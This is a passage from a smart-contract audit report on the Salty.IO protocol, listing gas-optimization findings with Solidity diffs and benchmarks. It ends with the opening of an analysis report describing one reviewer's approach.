require( numWeeks >= minUnstakeWeeks, "Unstaking duration too short" );
require(numWeeks <= maxUnstakeWeeks,"Unstaking duration too long");
uint256 percentAboveMinimum = 100 - minUnstakePercent;
uint256 unstakeRange = maxUnstakeWeeks - minUnstakeWeeks;
uint256 numerator = unstakedXSALT * ( minUnstakePercent * unstakeRange + percentAboveMinimum * ( numWeeks - minUnstakeWeeks ) );
return numerator / ( 100 * unstakeRange );
}
Pack rewardPercentForCallingLiquidation
with maxRewardValueForCallingLiquidation
by reducing the size(Save 1 SLOT: 2.1K Gas)
File: /src/stable/StableConfig.sol
19: // Range: 5 to 10 with an adjustment of 1
20: uint256 public rewardPercentForCallingLiquidation = 5;
23: // Range: 100 to 1000 with an adjustment of 100 ether
24: uint256 public maxRewardValueForCallingLiquidation = 500 ether;
Since the above two are accessed in the same transaction here https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L157-L164:
uint256 rewardPercent = stableConfig.rewardPercentForCallingLiquidation();
uint256 rewardedWBTC = (reclaimedWBTC * rewardPercent) / 100;
uint256 rewardedWETH = (reclaimedWETH * rewardPercent) / 100;
// Make sure the value of the rewardAmount is not excessive
uint256 rewardValue = underlyingTokenValueInUSD( rewardedWBTC, rewardedWETH ); // in 18 decimals
uint256 maxRewardValue = stableConfig.maxRewardValueForCallingLiquidation(); // 18 decimals
We can reduce the size from uint256
to uint128
and pack them together.
uint128
should be big enough since this variables are bound and have defined ranges that are enforced whenever we assign values to them. eg Whenever we intend to increment the value of rewardPercentForCallingLiquidation
we make sure the current value is less than 10
which means we will never go above 10.
For maxRewardValueForCallingLiquidation
the max value we can ever get is defined as 1000
.
From the defined bounds uint128
should be big enough:
diff --git a/src/stable/StableConfig.sol b/src/stable/StableConfig.sol
index 8d6f5de..637833a 100644
--- a/src/stable/StableConfig.sol
+++ b/src/stable/StableConfig.sol
@@ -17,21 +17,21 @@ contract StableConfig is IStableConfig, Ownable
// The reward (in collateraLP) that a user receives for instigating the liquidation process - as a percentage of the amount of collateralLP that is liquidated.
// Range: 5 to 10 with an adjustment of 1
- uint256 public rewardPercentForCallingLiquidation = 5;
+ uint128 public rewardPercentForCallingLiquidation = 5;
// The maximum reward value (in USD) that a user receives for instigating the liquidation process.
// Range: 100 to 1000 with an adjustment of 100 ether
- uint256 public maxRewardValueForCallingLiquidation = 500 ether;
+ uint128 public maxRewardValueForCallingLiquidation = 500 ether;//@audit pack this and above
Pack minimumCollateralValueForBorrowing
with initialCollateralRatioPercent
(Save 1 SLOT: 2.1K Gas)
File: /src/stable/StableConfig.sol
28: // Range: 1000 to 5000 with an adjustment of 500 ether
29: uint256 public minimumCollateralValueForBorrowing = 2500 ether;
33: // Range: 150 to 300 with an adjustment of 25
34: uint256 public initialCollateralRatioPercent = 200;
38: // Range: 110 to 120 with an adjustment of 1
39: uint256 public minimumCollateralRatioPercent = 110;
The defined ranges can well fit in uint128
and pack this together. The two are accessed in the same transaction thus we can benefit from packing them:
// Range: 1000 to 5000 with an adjustment of 500 ether
- uint256 public minimumCollateralValueForBorrowing = 2500 ether;
+ uint128 public minimumCollateralValueForBorrowing = 2500 ether;
// the initial maximum collateral / borrowed USDS ratio.
// Defaults to 2.0x so that staking $1000 worth of BTC/ETH LP would allow you to borrow $500 of USDS
// Range: 150 to 300 with an adjustment of 25
- uint256 public initialCollateralRatioPercent = 200;
+ uint128 public initialCollateralRatioPercent = 200;
Declare immutables for exchangeConfig.wbtc()
and exchangeConfig.weth()
(Save 2351 Gas on average)
Min | Average | Median | Max | |
---|---|---|---|---|
Before | 10259 | 126914 | 13406 | 382471 |
After | 7636 | 124563 | 12095 | 379848 |
File: /src/dao/Proposals.sol
180: function proposeTokenUnwhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 ballotID)
181: {
182: require( poolsConfig.tokenHasBeenWhitelisted(token, exchangeConfig.wbtc(), exchangeConfig.weth()), "Can only unwhitelist a whitelisted token" );
183: require( address(token) != address(exchangeConfig.wbtc()), "Cannot unwhitelist WBTC" );
184: require( address(token) != address(exchangeConfig.weth()), "Cannot unwhitelist WETH" );
diff --git a/src/dao/Proposals.sol b/src/dao/Proposals.sol
index 40ebd17..e66fadc 100644
--- a/src/dao/Proposals.sol
+++ b/src/dao/Proposals.sol
@@ -32,6 +32,8 @@ contract Proposals is IProposals, ReentrancyGuard
IPoolsConfig immutable public poolsConfig;
IDAOConfig immutable public daoConfig;
ISalt immutable public salt;
+ IERC20 immutable public wbtc;
+ IERC20 immutable public weth;
// Mapping from ballotName to a currently open ballotID (zero if none).
// Used to check for existing ballots by name so as to not allow duplicate ballots to be created.
@@ -75,6 +77,8 @@ contract Proposals is IProposals, ReentrancyGuard
daoConfig = _daoConfig;
salt = exchangeConfig.salt();
+ wbtc = exchangeConfig.wbtc();
+ weth = exchangeConfig.weth();
}
@@ -180,8 +184,8 @@ contract Proposals is IProposals, ReentrancyGuard
function proposeTokenUnwhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 ballotID)
{
require( poolsConfig.tokenHasBeenWhitelisted(token, exchangeConfig.wbtc(), exchangeConfig.weth()), "Can only unwhitelist a whitelisted token" );
- require( address(token) != address(exchangeConfig.wbtc()), "Cannot unwhitelist WBTC" );
- require( address(token) != address(exchangeConfig.weth()), "Cannot unwhitelist WETH" );
+ require( address(token) != address(wbtc), "Cannot unwhitelist WBTC" );
+ require( address(token) != address(weth), "Cannot unwhitelist WETH" );
require( address(token) != address(exchangeConfig.dai()), "Cannot unwhitelist DAI" );
require( address(token) != address(exchangeConfig.usds()), "Cannot unwhitelist USDS" );
require( address(token) != address(exchangeConfig.salt()), "Cannot unwhitelist SALT" );
Reference the immutable variable salt
instead of making the external call again(Save 546 Gas on average)
Min | Average | Median | Max | |
---|---|---|---|---|
Before | 5767 | 165956 | 167908 | 322904 |
After | 5767 | 165410 | 167253 | 322248 |
File: /src/dao/Proposals.sol
196: function proposeSendSALT( address wallet, uint256 amount, string calldata description ) external nonReentrant returns (uint256 ballotID)
197: {
198: require( wallet != address(0), "Cannot send SALT to address(0)" );
201: uint256 balance = exchangeConfig.salt().balanceOf( address(exchangeConfig.dao()) );
202: uint256 maxSendable = balance * 5 / 100;
203: require( amount <= maxSendable, "Cannot send more than 5% of the DAO SALT balance" );
207: string memory ballotName = "sendSALT";
208: return _possiblyCreateProposal( ballotName, BallotType.SEND_SALT, wallet, amount, "", description );
209: }
We are making an external call exchangeConfig.salt
but this call is already declared as an immutable variable and we should therefore reference the immutable variable salt
instead.
diff --git a/src/dao/Proposals.sol b/src/dao/Proposals.sol
index 40ebd17..b7e4b00 100644
--- a/src/dao/Proposals.sol
+++ b/src/dao/Proposals.sol
@@ -198,7 +200,7 @@ contract Proposals is IProposals, ReentrancyGuard
require( wallet != address(0), "Cannot send SALT to address(0)" );
// Limit to 5% of current balance
- uint256 balance = exchangeConfig.salt().balanceOf( address(exchangeConfig.dao()) );
+ uint256 balance = salt.balanceOf( address(dao) );
uint256 maxSendable = balance * 5 / 100;
require( amount <= maxSendable, "Cannot send more than 5% of the DAO SALT balance" );
Use the already defined immutable variable(save 595 Gas on average)
Min | Average | Median | Max | |
---|---|---|---|---|
Before | 1391 | 4323 | 3987 | 10399 |
After | 1391 | 3728 | 3332 | 9744 |
File: /src/dao/Proposals.sol
317: function requiredQuorumForBallotType( BallotType ballotType ) public view returns (uint256 requiredQuorum)
318: {
334: uint256 totalSupply = ERC20(address(exchangeConfig.salt())).totalSupply();
In the constructor, we have an immutable variable salt
whose value is exchangeConfig.salt()
- uint256 totalSupply = ERC20(address(exchangeConfig.salt())).totalSupply();
+ uint256 totalSupply = ERC20(address(salt)).totalSupply();
uint256 minimumQuorum = totalSupply * 5 / 1000;
Use the imutable variable defined in the constructor instead of calling the external function again( Save 110 Gas)
**Gas benchmarks based on function finalizeBallot()
Min | Average | Median | Max | |
---|---|---|---|---|
Before | 7296 | 85003 | 50499 | 520797 |
After | 7296 | 84993 | 50499 | 520797 |
File: /src/dao/DAO.sol
166: else if ( ballot.ballotType == BallotType.SEND_SALT )
167: {
170: if ( exchangeConfig.salt().balanceOf(address(this)) >= ballot.number1 )
171: {
172: IERC20(exchangeConfig.salt()).safeTransfer( ballot.address1, ballot.number1 );
174: emit SaltSent(ballot.address1, ballot.number1);
175: }
176: }
In this block, we are calling exchangeConfig.salt()
two times. This is an external call and thus can be quite expensive.
If we take a look at the constructor, we can see we already have this call defined in a variable salt
salt = exchangeConfig.salt();
Instead of making the call again, we should just reference the variable salt
.
@@ -167,9 +167,9 @@ contract DAO is IDAO, Parameters, ReentrancyGuard
{
// Make sure the contract has the SALT balance before trying to send it.
// This should not happen but is here just in case - to prevent approved proposals from reverting on finalization.
- if ( exchangeConfig.salt().balanceOf(address(this)) >= ballot.number1 )
+ if ( salt.balanceOf(address(this)) >= ballot.number1 )
{
- IERC20(exchangeConfig.salt()).safeTransfer( ballot.address1, ballot.number1 );
+ IERC20(salt).safeTransfer( ballot.address1, ballot.number1 );
emit SaltSent(ballot.address1, ballot.number1);
}
Similar instance https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L246-L265
File: /src/dao/DAO.sol
246: uint256 saltBalance = exchangeConfig.salt().balanceOf( address(this) );
247: require( saltBalance >= bootstrappingRewards * 2, "Whitelisting is not currently possible due to insufficient bootstrapping rewards" );
265: exchangeConfig.salt().approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 );
diff --git a/src/dao/DAO.sol b/src/dao/DAO.sol
index 3275f83..c6d8878 100644
--- a/src/dao/DAO.sol
+++ b/src/dao/DAO.sol
@@ -243,7 +243,7 @@ contract DAO is IDAO, Parameters, ReentrancyGuard
// Make sure that the DAO contract holds the required amount of SALT for bootstrappingRewards.
// Twice the bootstrapping rewards are needed (for both the token/WBTC and token/WETH pools)
- uint256 saltBalance = exchangeConfig.salt().balanceOf( address(this) );
+ uint256 saltBalance = salt.balanceOf( address(this) );
require( saltBalance >= bootstrappingRewards * 2, "Whitelisting is not currently possible due to insufficient bootstrapping rewards" );
// Fail to whitelist for now if this isn't the whitelisting proposal with the most votes - can try again later.
@@ -262,7 +262,7 @@ contract DAO is IDAO, Parameters, ReentrancyGuard
addedRewards[0] = AddedReward( pool1, bootstrappingRewards );
addedRewards[1] = AddedReward( pool2, bootstrappingRewards );
- exchangeConfig.salt().approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 );
+ salt.approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 );
liquidityRewardsEmitter.addSALTRewards( addedRewards );
emit WhitelistToken(IERC20(ballot.address1));
Define immutable variables for wbtc
and weth
(Save 253 Gas on average)
Min | Average | Median | Max | |
---|---|---|---|---|
Before | 7318 | 85131 | 50631 | 520885 |
After | 7252 | 84878 | 50455 | 517983 |
File: /src/dao/DAO.sol
253: // All tokens are paired with both WBTC and WETH, so whitelist both pairings
254: poolsConfig.whitelistPool( pools, IERC20(ballot.address1), exchangeConfig.wbtc() );
255: poolsConfig.whitelistPool( pools, IERC20(ballot.address1), exchangeConfig.weth() );
257: bytes32 pool1 = PoolUtils._poolID( IERC20(ballot.address1), exchangeConfig.wbtc() );
258: bytes32 pool2 = PoolUtils._poolID( IERC20(ballot.address1), exchangeConfig.weth() );
diff --git a/src/dao/DAO.sol b/src/dao/DAO.sol
index 3275f83..daf47b1 100644
--- a/src/dao/DAO.sol
+++ b/src/dao/DAO.sol
@@ -57,6 +57,8 @@ contract DAO is IDAO, Parameters, ReentrancyGuard
ISalt immutable public salt;
IUSDS immutable public usds;
IERC20 immutable public dai;
+ IERC20 immutable public wbtc;
+ IERC20 immutable public weth;
// The default IPFS URL for the website content (can be changed with a setWebsiteURL proposal)
@@ -85,6 +87,8 @@ contract DAO is IDAO, Parameters, ReentrancyGuard
usds = exchangeConfig.usds();
salt = exchangeConfig.salt();
dai = exchangeConfig.dai();
+ wbtc = exchangeConfig.wbtc();
+ weth = exchangeConfig.weth();
// Gas saving approves for eventually forming Protocol Owned Liquidity
salt.approve(address(collateralAndLiquidity), type(uint256).max);
@@ -251,11 +255,11 @@ contract DAO is IDAO, Parameters, ReentrancyGuard
require( bestWhitelistingBallotID == ballotID, "Only the token whitelisting ballot with the most votes can be finalized" );
// All tokens are paired with both WBTC and WETH, so whitelist both pairings
- poolsConfig.whitelistPool( pools, IERC20(ballot.address1), exchangeConfig.wbtc() );
- poolsConfig.whitelistPool( pools, IERC20(ballot.address1), exchangeConfig.weth() );
+ poolsConfig.whitelistPool( pools, IERC20(ballot.address1), wbtc );
+ poolsConfig.whitelistPool( pools, IERC20(ballot.address1), weth );
- bytes32 pool1 = PoolUtils._poolID( IERC20(ballot.address1), exchangeConfig.wbtc() );
- bytes32 pool2 = PoolUtils._poolID( IERC20(ballot.address1), exchangeConfig.weth() );
+ bytes32 pool1 = PoolUtils._poolID( IERC20(ballot.address1), wbtc );
+ bytes32 pool2 = PoolUtils._poolID( IERC20(ballot.address1), weth );
// Send the initial bootstrappingRewards to promote initial liquidity on these two newly whitelisted pools
AddedReward[] memory addedRewards = new AddedReward[](2);
Immutable variable already defined(Save 327 Gas on average)
Min | Average | Median | Max | |
---|---|---|---|---|
Before | 10259 | 126914 | 13406 | 382471 |
After | 10259 | 126587 | 13406 | 381816 |
File: /src/dao/Proposals.sol
180: function proposeTokenUnwhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 ballotID)
181: {
187: require( address(token) != address(exchangeConfig.salt()), "Cannot unwhitelist SALT" );
In the constructor, we have an immutable variable salt
whose value is exchangeConfig.salt()
:
diff --git a/src/dao/Proposals.sol b/src/dao/Proposals.sol
index 40ebd17..53964be 100644
--- a/src/dao/Proposals.sol
+++ b/src/dao/Proposals.sol
@@ -184,7 +184,7 @@ contract Proposals is IProposals, ReentrancyGuard
require( address(token) != address(exchangeConfig.weth()), "Cannot unwhitelist WETH" );
require( address(token) != address(exchangeConfig.dai()), "Cannot unwhitelist DAI" );
require( address(token) != address(exchangeConfig.usds()), "Cannot unwhitelist USDS" );
- require( address(token) != address(exchangeConfig.salt()), "Cannot unwhitelist SALT" );
+ require( address(token) != address(salt), "Cannot unwhitelist SALT" );
Expensive operation inside a for loop(Save 640 Gas on average)
Min | Average | Median | Max | |
---|---|---|---|---|
Before | 677 | 15275 | 17655 | 22043 |
After | 677 | 14635 | 17019 | 20751 |
File: /src/stable/CollateralAndLiquidity.sol
321: for ( uint256 i = startIndex; i <= endIndex; i++ )
322: {
323: address wallet = _walletsWithBorrowedUSDS.at(i);
326: uint256 minCollateralValue = (usdsBorrowedByUsers[wallet] * stableConfig.minimumCollateralRatioPercent()) / 100;
Calling stableConfig.minimumCollateralRatioPercent()
inside the loop is too expensive as this is an external call:
diff --git a/src/stable/CollateralAndLiquidity.sol b/src/stable/CollateralAndLiquidity.sol
index fc14695..a7d0e6d 100644
--- a/src/stable/CollateralAndLiquidity.sol
+++ b/src/stable/CollateralAndLiquidity.sol
@@ -317,13 +317,14 @@ contract CollateralAndLiquidity is Liquidity, ICollateralAndLiquidity
uint256 totalCollateralShares = totalShares[collateralPoolID];
uint256 totalCollateralValue = totalCollateralValueInUSD();
- if ( totalCollateralValue != 0 )
+ if ( totalCollateralValue != 0 ){
+ uint256 _minimumCollateralRatioPercent = stableConfig.minimumCollateralRatioPercent();
for ( uint256 i = startIndex; i <= endIndex; i++ )
{
address wallet = _walletsWithBorrowedUSDS.at(i);
// Determine the minCollateralValue a user needs to have based on their borrowedUSDS
- uint256 minCollateralValue = (usdsBorrowedByUsers[wallet] * stableConfig.minimumCollateralRatioPercent()) / 100;
+ uint256 minCollateralValue = (usdsBorrowedByUsers[wallet] * _minimumCollateralRatioPercent) / 100;
// Determine minCollateral in terms of minCollateralValue
uint256 minCollateral = (minCollateralValue * totalCollateralShares) / totalCollateralValue;
Avoid making unnecessary external calls(Save 4285 Gas on average)
Gas benchmarks based on function finalizeBallot | | Min | Average | Median | Max | | ------ | ---- | ------- | ------ | ----- | | Before | 7296 | 85003 | 50499 | 520797 | | After | 7296 | 80718 | 43300 | 520797 | | | | | | |
File: /src/dao/DAO.sol
113: function _finalizeParameterBallot( uint256 ballotID ) internal
114: {
115: Ballot memory ballot = proposals.ballotForID(ballotID);
117: Vote winningVote = proposals.winningParameterVote(ballotID);
119: if ( winningVote == Vote.INCREASE )
120: _executeParameterChange( ParameterTypes(ballot.number1), true, poolsConfig, stakingConfig, rewardsConfig, stableConfig, daoConfig, priceAggregator );
121: else if ( winningVote == Vote.DECREASE )
122: _executeParameterChange( ParameterTypes(ballot.number1), false, poolsConfig, stakingConfig, rewardsConfig, stableConfig, daoConfig, priceAggregator );
The above function is called by finalizeBallot
which has the following implementation
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L278-L292
function finalizeBallot( uint256 ballotID ) external nonReentrant
{
<--- Truncated-->
Ballot memory ballot = proposals.ballotForID(ballotID);
if ( ballot.ballotType == BallotType.PARAMETER )
_finalizeParameterBallot(ballotID);
else if ( ballot.ballotType == BallotType.WHITELIST_TOKEN )
_finalizeTokenWhitelisting(ballotID);
else
_finalizeApprovalBallot(ballotID);
}
Note, in both functions, we make a very similar external call Ballot memory ballot = proposals.ballotForID(ballotID);
Since external calls can be quite expensive, inlining here would be the best solution so that we only make the external call once:
diff --git a/src/dao/DAO.sol b/src/dao/DAO.sol
index 3275f83..7df6949 100644
--- a/src/dao/DAO.sol
+++ b/src/dao/DAO.sol
@@ -282,8 +282,19 @@ contract DAO is IDAO, Parameters, ReentrancyGuard
Ballot memory ballot = proposals.ballotForID(ballotID);
- if ( ballot.ballotType == BallotType.PARAMETER )
- _finalizeParameterBallot(ballotID);
+ if ( ballot.ballotType == BallotType.PARAMETER ){
+ Vote winningVote = proposals.winningParameterVote(ballotID);
+
+ if ( winningVote == Vote.INCREASE )
+ _executeParameterChange( ParameterTypes(ballot.number1), true, poolsConfig, stakingConfig, rewardsConfig, stableConfig, daoConfig, priceAggregator );
+ else if ( winningVote == Vote.DECREASE )
+ _executeParameterChange( ParameterTypes(ballot.number1), false, poolsConfig, stakingConfig, rewardsConfig, stableConfig, daoConfig, priceAggregator );
+
+ // Finalize the ballot even if NO_CHANGE won
+ proposals.markBallotAsFinalized(ballotID);
+
+ emit BallotFinalized(ballotID, winningVote);
+ }
else if ( ballot.ballotType == BallotType.WHITELIST_TOKEN )
_finalizeTokenWhitelisting(ballotID);
else
Refactor the code to avoid unnecessary external calls(Save 1300 Gas on average)
Gas benchmarks based on function finalizeBallot | | Min | Average | Median | Max | | ------ | ---- | ------- | ------ | ----- | | Before | 7296 | 85003 | 50499 | 520797 | | After | 7296 | 83700 | 50444 | 520796 | | | | | | |
File: /src/dao/DAO.sol
219: function _finalizeApprovalBallot( uint256 ballotID ) internal
220: {
221: if ( proposals.ballotIsApproved(ballotID ) )
222: {
223: Ballot memory ballot = proposals.ballotForID(ballotID);
224: _executeApproval( ballot );
225: }
227: proposals.markBallotAsFinalized(ballotID);
228: }
The function _finalizeApprovalBallot
is called by finalizeBallot
which has the following implementation:
function finalizeBallot( uint256 ballotID ) external nonReentrant
{
Ballot memory ballot = proposals.ballotForID(ballotID);
if ( ballot.ballotType == BallotType.PARAMETER )
_finalizeParameterBallot(ballotID);
else if ( ballot.ballotType == BallotType.WHITELIST_TOKEN )
_finalizeTokenWhitelisting(ballotID);
else
_finalizeApprovalBallot(ballotID);
}
Both functions are making the same external call Ballot memory ballot = proposals.ballotForID(ballotID);
which wastes too much gas. Inlining the call can save us one external call:
diff --git a/src/dao/DAO.sol b/src/dao/DAO.sol
index 3275f83..aa3efe9 100644
--- a/src/dao/DAO.sol
+++ b/src/dao/DAO.sol
@@ -286,8 +286,14 @@ contract DAO is IDAO, Parameters, ReentrancyGuard
_finalizeParameterBallot(ballotID);
else if ( ballot.ballotType == BallotType.WHITELIST_TOKEN )
_finalizeTokenWhitelisting(ballotID);
- else
- _finalizeApprovalBallot(ballotID);
+ else {
+ if ( proposals.ballotIsApproved(ballotID ) )
+ {
+ _executeApproval( ballot );
+ }
+
+ proposals.markBallotAsFinalized(ballotID);
+ }
}
We should cache the result of a function instead of calling it twice(Save 178 Gas on average )
Min | Average | Median | Max | |
---|---|---|---|---|
Before | 1102 | 69116 | 69740 | 78240 |
After | 1102 | 68938 | 69560 | 78060 |
File: /src/launch/Airdrop.sol
56: function allowClaiming() external
57: {
60: require(numberAuthorized() > 0, "No addresses authorized to claim airdrop.");
63: uint256 saltBalance = salt.balanceOf(address(this));
64: saltAmountForEachUser = saltBalance / numberAuthorized();
The function allowClaiming()
calls numberAuthorized()
2 times.
The function numberAuthorized()
is implemented as follows
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/launch/Airdrop.sol#L97-L100
function numberAuthorized() public view returns (uint256)
{
return _authorizedUsers.length();
}
Note, it makes a state read(SLOAD) to get the length _authorizedUsers.length()
Doing this two times is expensive, we should simply save the results of this call and cache them:
@@ -57,11 +57,12 @@ contract Airdrop is IAirdrop, ReentrancyGuard
{
require( msg.sender == address(exchangeConfig.initialDistribution()), "Airdrop.allowClaiming can only be called by the InitialDistribution contract" );
require( ! claimingAllowed, "Claiming is already allowed" );
- require(numberAuthorized() > 0, "No addresses authorized to claim airdrop.");
+ uint256 _numberAuthorized = numberAuthorized();
+ require(_numberAuthorized > 0, "No addresses authorized to claim airdrop.");
// All users receive an equal share of the airdrop.
uint256 saltBalance = salt.balanceOf(address(this));
- saltAmountForEachUser = saltBalance / numberAuthorized();
+ saltAmountForEachUser = saltBalance / _numberAuthorized;
// Have the Airdrop approve max so that that xSALT (staked SALT) can later be transferred to airdrop recipients.
salt.approve( address(staking), saltBalance );
If we revert on the first check, then we would waste ~6 gas but in the case we don’t revert, we save an entire SLOAD(100 Gas).
Avoid reading state variables due to how the logic is executed(Save 1 SLOAD: 100 Gas)
File: /src/ManagedWallet.sol
73: function changeWallets() external
74: {
75: // proposedMainWallet calls the function - to make sure it is a valid address.
76: require( msg.sender == proposedMainWallet, "Invalid sender" );
77: require( block.timestamp >= activeTimelock, "Timelock not yet completed" );
79: // Set the wallets
80: mainWallet = proposedMainWallet;
81: confirmationWallet = proposedConfirmationWallet;
Due to the require statement on line 76, it’s guaranteed that proposedMainWallet
will be equal to msg.sender
if we do get to the set the wallets
part. If they are not equal then the require statement would revert.
Therefore, any occurence of proposedMainWallet
which is a state variable can be replaced by msg.sender
which is a global variable therefore cheaper to read:
diff --git a/src/ManagedWallet.sol b/src/ManagedWallet.sol
index 7082030..99c3ed0 100644
--- a/src/ManagedWallet.sol
+++ b/src/ManagedWallet.sol
@@ -77,10 +77,10 @@ contract ManagedWallet is IManagedWallet
require( block.timestamp >= activeTimelock, "Timelock not yet completed" );
// Set the wallets
- mainWallet = proposedMainWallet;
+ mainWallet = msg.sender;
confirmationWallet = proposedConfirmationWallet;
- emit WalletChange(mainWallet, confirmationWallet);
+ emit WalletChange(msg.sender, confirmationWallet);
// Reset
activeTimelock = type(uint256).max;
Prioritize validating cheap variables first
Cheaper to validate block.timestamp >= completionTimestamp
first
File: /src/launch/BootstrapBallot.sol
69: function finalizeBallot() external nonReentrant
70: {
71: require( ! ballotFinalized, "Ballot has already been finalized" );
72: require( block.timestamp >= completionTimestamp, "Ballot is not yet complete" );
The first check involves making an SLOAD to read the value of ballotFinalized
. If this check passes but the second reverts, we waste the gas in the first check. We should reorder this checks to have the cheaper one first.
function finalizeBallot() external nonReentrant
{
- require( ! ballotFinalized, "Ballot has already been finalized" );
require( block.timestamp >= completionTimestamp, "Ballot is not yet complete" );
+ require( ! ballotFinalized, "Ballot has already been finalized" );
Validate liquidityToRemove
before reading from state
File: /src/pools/Pools.sol
170: function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToRemove, uint256 minReclaimedA, uint256 minReclaimedB, uint256 totalLiquidity ) external nonReentrant returns (uint256 reclaimedA, uint256 reclaimedB)
171: {
172: require( msg.sender == address(collateralAndLiquidity), "Pools.removeLiquidity is only callable from the CollateralAndLiquidity contract" );
173: require( liquidityToRemove > 0, "The amount of liquidityToRemove cannot be zero" );
function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToRemove, uint256 minReclaimedA, uint256 minReclaimedB, uint256 totalLiquidity ) external nonReentrant returns (uint256 reclaimedA, uint256 reclaimedB)
{
- require( msg.sender == address(collateralAndLiquidity), "Pools.removeLiquidity is only callable from the CollateralAndLiquidity contract" );
require( liquidityToRemove > 0, "The amount of liquidityToRemove cannot be zero" );
+ require( msg.sender == address(collateralAndLiquidity), "Pools.removeLiquidity is only callable from the CollateralAndLiquidity contract" );
(bytes32 poolID, bool flipped) = PoolUtils._poolIDAndFlipped(tokenA, tokenB);
Validate the function parameters before making the state reads
File: /src/pools/PoolsConfig.sol
45: function whitelistPool( IPools pools, IERC20 tokenA, IERC20 tokenB ) external onlyOwner
46: {
47: require( _whitelist.length() < maximumWhitelistedPools, "Maximum number of whitelisted pools already reached" );
48: require(tokenA != tokenB, "tokenA and tokenB cannot be the same token");
function whitelistPool( IPools pools, IERC20 tokenA, IERC20 tokenB ) external onlyOwner
{
- require( _whitelist.length() < maximumWhitelistedPools, "Maximum number of whitelisted pools already reached" );
require(tokenA != tokenB, "tokenA and tokenB cannot be the same token");
+ require( _whitelist.length() < maximumWhitelistedPools, "Maximum number of whitelisted pools already reached" );
Validate the function parameter first before making any state reads
File: /src/stable/USDS.sol
40: function mintTo( address wallet, uint256 amount ) external
41: {
42: require( msg.sender == address(collateralAndLiquidity), "USDS.mintTo is only callable from the Collateral contract" );
43: require( amount > 0, "Cannot mint zero USDS" );
function mintTo( address wallet, uint256 amount ) external
{
- require( msg.sender == address(collateralAndLiquidity), "USDS.mintTo is only callable from the Collateral contract" );
require( amount > 0, "Cannot mint zero USDS" );
+ require( msg.sender == address(collateralAndLiquidity), "USDS.mintTo is only callable from the Collateral contract" );
Validate amountRepaid
before making any state read
File: /src/stable/CollateralAndLiquidity.sol
115: function repayUSDS( uint256 amountRepaid ) external nonReentrant
116: {
117: require( userShareForPool( msg.sender, collateralPoolID ) > 0, "User does not have any collateral" );
118: require( amountRepaid <= usdsBorrowedByUsers[msg.sender], "Cannot repay more than the borrowed amount" );
119: require( amountRepaid > 0, "Cannot repay zero amount" );
function repayUSDS( uint256 amountRepaid ) external nonReentrant
{
+ require( amountRepaid > 0, "Cannot repay zero amount" );
require( userShareForPool( msg.sender, collateralPoolID ) > 0, "User does not have any collateral" );
require( amountRepaid <= usdsBorrowedByUsers[msg.sender], "Cannot repay more than the borrowed amount" );
- require( amountRepaid > 0, "Cannot repay zero amount" );
Refactor function to only make state assignments after parameter verification
File: /src/staking/Staking.sol
198: function calculateUnstake( uint256 unstakedXSALT, uint256 numWeeks ) public view returns (uint256)
199: {
200: uint256 minUnstakeWeeks = stakingConfig.minUnstakeWeeks();
201: uint256 maxUnstakeWeeks = stakingConfig.maxUnstakeWeeks();
202: uint256 minUnstakePercent = stakingConfig.minUnstakePercent();
204: require( numWeeks >= minUnstakeWeeks, "Unstaking duration too short" );
205: require( numWeeks <= maxUnstakeWeeks, "Unstaking duration too long" );
The require statements only depend on the first two variables minUnstakeWeeks
and maxUnstakeWeeks
. We can therefore move the assignment of minUnstakePercent
to be after all checks are passed.
diff --git a/src/staking/Staking.sol b/src/staking/Staking.sol
index 22e5970..c00c419 100644
--- a/src/staking/Staking.sol
+++ b/src/staking/Staking.sol
@@ -199,10 +199,12 @@ contract Staking is IStaking, StakingRewards
{
uint256 minUnstakeWeeks = stakingConfig.minUnstakeWeeks();
uint256 maxUnstakeWeeks = stakingConfig.maxUnstakeWeeks();
- uint256 minUnstakePercent = stakingConfig.minUnstakePercent();
require( numWeeks >= minUnstakeWeeks, "Unstaking duration too short" );
require( numWeeks <= maxUnstakeWeeks, "Unstaking duration too long" );
+
+ uint256 minUnstakePercent = stakingConfig.minUnstakePercent();
+
uint256 percentAboveMinimum = 100 - minUnstakePercent;
uint256 unstakeRange = maxUnstakeWeeks - minUnstakeWeeks;
othernet-global (Salty.IO) acknowledged
Audit Analysis
For this audit, 22 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by peanuts received the top score from the judge.
The following wardens also submitted reports: klau5, niroh, 0xAsen, LinKenji, ZanyBonzy, kinda_very_good, fouzantanveer, Sathish9098, hunter_w3b, hassanshakeel13, kaveyjoe, DedOhWale, yongskiws, foxb868, 0xepley, jauvany, K42, catellatech, 0xSmartContract, rspadi, and 0xHelium.
Approach taken when reviewing the protocol
This is a pretty large codebase, so I started with trying to understand the protocol first, before reading the code and getting the general idea of the protocol:
- Watched the Video Technical Walkthrough to get a sense of the protocol.
- Looked at the codes with the least amount of lines and started from there.
- Started to understand the protocol a little more and grouped the contracts into different sections (Airdrop Section, Config Section, ERC20 Section, DEX Section, Lending Section, Staking Section)
- Started linking the sections together and seeing how each contract affects another contract (eg how Airdrop section relates to Staking and Staking rewards)
- Started understanding the Airdrop Section first, InitialDistribution, Airdrop and BootstrapBallot
- Next, started figuring out the staking section. (SALT staking, xSALT staking)
- Analyze the DAO and notice how the DAO has the capability of submitting proposals that affects every contract
- After finishing the DAO, Parameters, Proposals and all the Config, went to look at Pools.
- Compared the code of Pools to Uniswap V2 (similar idea), to see any difference between how both protocols tackle AMM functionality
